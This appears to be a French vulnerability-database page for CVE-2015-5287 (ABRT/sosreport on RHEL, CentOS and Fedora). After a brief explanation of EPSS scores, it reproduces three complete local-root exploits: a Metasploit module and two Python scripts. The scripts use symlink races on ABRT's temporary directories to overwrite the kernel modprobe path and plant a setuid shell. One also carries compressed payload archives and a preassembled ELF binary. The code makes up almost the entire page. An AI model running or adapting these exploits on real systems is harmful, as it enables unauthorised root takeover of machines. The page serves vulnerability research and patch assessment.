CVE-2015-5287 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ABRT sosreport Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on RHEL systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. `sosreport` uses an insecure temporary directory, allowing local users to write to arbitrary files (CVE-2015-5287). This module uses a symlink attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path in `/proc/sys/kernel/modprobe`, resulting in root privileges. Waiting for `sosreport` could take a few minutes. This module has been tested successfully on: abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and abrt 2.1.11-19.el7 on RHEL 7.1 x86_64. }, 'License' => MSF_LICENSE, 'Author' => [ 'rebel', # Discovery and sosreport-rhel7.py exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2015-11-23', 'Platform' => ['linux'], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [[ 'Auto', {} ]], 'References' => [ ['BID', '78137'], ['CVE', '2015-5287'], ['EDB', '38832'], ['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'], ['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'], ['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837'] ] )) register_options [ OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'] end def timeout datastore['TIMEOUT'] end def check kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' unless kernel_core_pattern.include? 'abrt-hook-ccpp' vprint_error 'System is not configured to use ABRT for crash reporting' return CheckCode::Safe end vprint_good 'System is configured to use ABRT for crash reporting' if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' vprint_error 'abrt-ccp service not running' return CheckCode::Safe end vprint_good 'abrt-ccpp service is running' # Patched in 2.1.11-35.el7 pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1] if abrt_version.blank? vprint_status 'Could not retrieve ABRT package version' return CheckCode::Safe end unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7') vprint_status "ABRT package version #{abrt_version} is not vulnerable" return CheckCode::Safe end vprint_good "ABRT package version #{abrt_version} is vulnerable" unless command_exists? 'python' vprint_error 'python is not installed' return CheckCode::Safe end vprint_good 'python is installed' CheckCode::Appears end def upload_and_chmodx(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data chmod path register_file_for_cleanup path end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py') exe_name = ".#{rand_text_alphanumeric 5..10}" exe_path = "#{base_dir}/#{exe_name}" upload_and_chmodx exe_path, exe_data payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup '/tmp/hax.sh' print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..." output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } end end

#!/usr/bin/python # CVE-2015-5287 (?) # abrt/sosreport RHEL 7.0/7.1 local root # rebel 09/2015 # [user@localhost ~]$ python sosreport-rhel7.py # crashing pid 19143 # waiting for dump directory # dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143 # waiting for sosreport directory # sosreport: sosreport-localhost.localdomain-20151130194114 # waiting for tmpfiles # tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ'] # moving directory # moving tmpfiles # tmpurfpyY -> tmpurfpyY.old # tmpYnCfnQ -> tmpYnCfnQ.old # waiting for sosreport to finish (can take several minutes)........................................done # success # bash-4.2# id # uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # bash-4.2# cat /etc/redhat-release # Red Hat Enterprise Linux Server release 7.1 (Maipo) import os,sys,glob,time,sys,socket payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n" pid = os.fork() if pid == 0: os.execl("/usr/bin/sleep","sleep","100") time.sleep(0.5) print "crashing pid %d" % pid os.kill(pid,11) print "waiting for dump directory" def waitpath(p): while 1: r = glob.glob(p) if len(r) > 0: return r time.sleep(0.05) dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0] print "dump directory: ", dumpdir os.chdir(dumpdir) print "waiting for sosreport directory" sosreport = waitpath("sosreport-*")[0] print "sosreport: ", sosreport print "waiting for tmpfiles" tmpfiles = waitpath("tmp*") print "tmpfiles: ", tmpfiles print "moving directory" os.rename(sosreport, sosreport + ".old") os.mkdir(sosreport) os.chmod(sosreport,0777) os.mkdir(sosreport + "/sos_logs") os.chmod(sosreport + "/sos_logs",0777) os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log") os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log") print "moving tmpfiles" for x in tmpfiles: print "%s -> %s" % (x,x + ".old") os.rename(x, x + ".old") open(x, "w+").write("/tmp/hax.sh\n") os.chmod(x,0666) os.chdir("/") sys.stderr.write("waiting for sosreport to finish (can take several minutes)..") def trigger(): open("/tmp/hax.sh","w+").write(payload) os.chmod("/tmp/hax.sh",0755) try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) except: pass time.sleep(0.5) try: os.stat("/tmp/sh") except: print "could not create suid" sys.exit(-1) print "success" os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''') sys.exit(-1) for x in xrange(0,60*10): if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read(): print "done" trigger() time.sleep(1) sys.stderr.write(".") print "timed out"

#!/usr/bin/python # CVE-2015-5273 + CVE-2015-5287 # CENTOS 7.1/Fedora22 local root (probably works on SL and older versions too) # abrt-hook-ccpp insecure open() usage + abrt-action-install-debuginfo insecure temp directory usage # rebel 09/2015 # ---------------------------------------- # [user@localhost ~]$ id # uid=1000(user) gid=1000(user) groups=1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # [user@localhost ~]$ cat /etc/redhat-release # CentOS Linux release 7.1.1503 (Core) # [user@localhost ~]$ python abrt-centos-fedora.py # -- lots of boring output, might take a while on a slow connection -- # /var/spool/abrt/abrt-hax-coredump created # executing crashing process.. # success # bash-4.2# id # uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 import time,os,datetime,sys,resource,socket fedora = "Fedora" in open("/etc/redhat-release").read() # mkdir dir1 # ln -s /var/spool/abrt dir1/hax # mkdir dir2 # mkdir dir2/hax # ln -s /proc/sys/kernel/modprobe dir2/hax/abrt-hax-coredump # cd dir1 # find . -depth -print | cpio -o > ../cpio1 # cd ../dir2 # find . -depth -print | cpio -o > ../cpio2 cpio1 = 'x\x9c;^\xc8\xcc\xa1\xb0\xef\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc\xc8\x02\xa4\xf9\x192\x12+\x18\xf4\xcb\x12\x8b\xf4\x8b\x0b\xf2\xf3s\xf4\x13\x93\x8aJ\x18\x8e\x03U\xb3\xef\xfb\xeb\x08R\xcd\x04U\r\xa2\x19\x18\xf4\x80r\x0cp\xc0\x08\xa5\xb9\xc1dH\x90\xa3\xa7\x8fk\x90\xa2\xa2"\xc3(\x18d\x00\x00\x16\xb9\x1bA'.decode("zip") cpio2 = 'x\x9c;^\xc8\xcc\x917\xfb\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc(\x06\xa4%\x192\x12+\xf4\x13\x93\x8aJt\x81\x0c\xdd\xe4\xfc\xa2\xd4\x94\xd2\xdc\x02\x06\xfd\x82\xa2\xfcd\xfd\xe2\xcab\xfd\xec\xd4\xa2\xbc\xd4\x1c\xfd\xdc\xfc\x14\xa0PR*\xc3q\xa0I\x19\xb3\xff:\x82Lb\x82\x9a\xc4\xc2\x00\x02@\x03\xc0\xb2+\xef@d\x99\xa1\xb2L`Y=\xa0\x1c\x03\x1c0Bin0\x19\x12\xe4\xe8\xe9\xe3\x1a\xa4\xa8\xa8\xc80\nh\x02\x00\x01\x980\x88'.decode("zip") if fedora: cpio1 = cpio1.replace("/var/spool/abrt","/var/tmp///abrt") payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n" # we use a 32 bit binary because [vsyscall] will be at the end of the coredump on 64 bit binaries # and we can't control the contents of that region. on 32 bit binaries [stack] is at the end # the crashing binary will just fill the stack with /tmp/hax.sh which subsequently gets written # to /proc/sys/kernel/modprobe by /usr/libexec/abrt-hook-ccpp elf = 'x\x9c\xabw\xf5qcddd\x80\x01&\x06f\x06\x10/\xa4\x81\x85\xc3\x84\x01\x01L\x18\x14\x18`\xaa\xe0\xaa\x81j@x1\x90\t\xc2\xac 1\x01\x06\x06\x97F\x1b\x15\xfd\x92\xdc\x82\xd2o\x8dg\xfe\xf3\x03\xf9\xbb\xbe\x00\xb5\xec\x14\x01\xca\xee\xee\x07\xaa\xd7<\xd3\xc5\xdc\xc1\xa2\xe2\xe2\xfc\xe8{\xf3\x1b\x11\xaf\xe6_\x0c\xa5\x8fv8\x02\xc1\xff\x07\xfaP\x00\xd4\xad\x9f\x91X\xa1W\x9c\xc1\xc5\x00\x00-f"X'.decode("zip") # most people don't have nasm installed so i preassembled it # if you're not brave enough to run the preassembled file, here's the code :) """ ; abrt-hax.asm ; nasm -f bin -o abrt-hax abrt-hax.asm BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr _start: inc esp cmp dword [esp],0x706d742f jne l or esp,0xfff inc esp mov edx,500 l3: mov ecx,msglen mov ebx,message sub esp,ecx l2: mov al,[ebx] mov [esp],al inc esp inc ebx loop l2 sub esp,msglen dec edx cmp edx,0 jne l3 mov eax,0x41414141 jmp eax message db '////////tmp/hax.sh',0x0a,0 msglen equ $-message """ build_id = os.popen("eu-readelf -n /usr/bin/hostname").readlines()[-1].split()[-1] os.chdir("/tmp") open("build_ids","w+").write(build_id + "\n") print build_id def child(): timestamp = int(time.time()) for i in xrange(0,3): try: t = datetime.datetime.fromtimestamp(timestamp+i) d = "/var/tmp/abrt-tmp-debuginfo-%s.%u" % (t.strftime("%Y-%m-%d-%H:%M:%S"), os.getpid()) os.mkdir(d) os.chmod(d,0777) os.symlink("/var/tmp/haxfifo",d+"/unpacked.cpio") print "created %s" % d except: pass os.execl("/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache","abrt-action-install-debuginfo-to-abrt-cache","-y") try: os.mkfifo("/var/tmp/haxfifo") os.chmod("/var/tmp/haxfifo",0666) except: pass def fifo(a): print "reading from fifo.." open("/var/tmp/haxfifo").read() print "done" print "writing to fifo.." open("/var/tmp/haxfifo","w+").write(a) print "done" if os.fork() == 0: child() print "first cpio..." fifo(cpio1) os.wait() time.sleep(1) if os.fork() == 0: child() print "second cpio..." fifo(cpio2) os.wait() time.sleep(1) if fedora: sym = "/var/tmp/abrt/abrt-hax-coredump" else: sym = "/var/spool/abrt/abrt-hax-coredump" try: os.lstat(sym) except: print "could not create symlink" sys.exit(-1) print "%s created" % sym open("/tmp/abrt-hax","w+").write(elf) os.chmod("/tmp/abrt-hax",0755) if os.fork() == 0: resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,)) print "executing crashing process.." os.execle("/tmp/abrt-hax","",{}) os.wait() time.sleep(1) if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read(): print "could not modify /proc/sys/kernel/modprobe" sys.exit(-1) open("/tmp/hax.sh","w+").write(payload) os.chmod("/tmp/hax.sh",0755) try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) except: pass time.sleep(0.5) try: os.stat("/tmp/sh") except: print "could not create suid" sys.exit(-1) print "success" os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')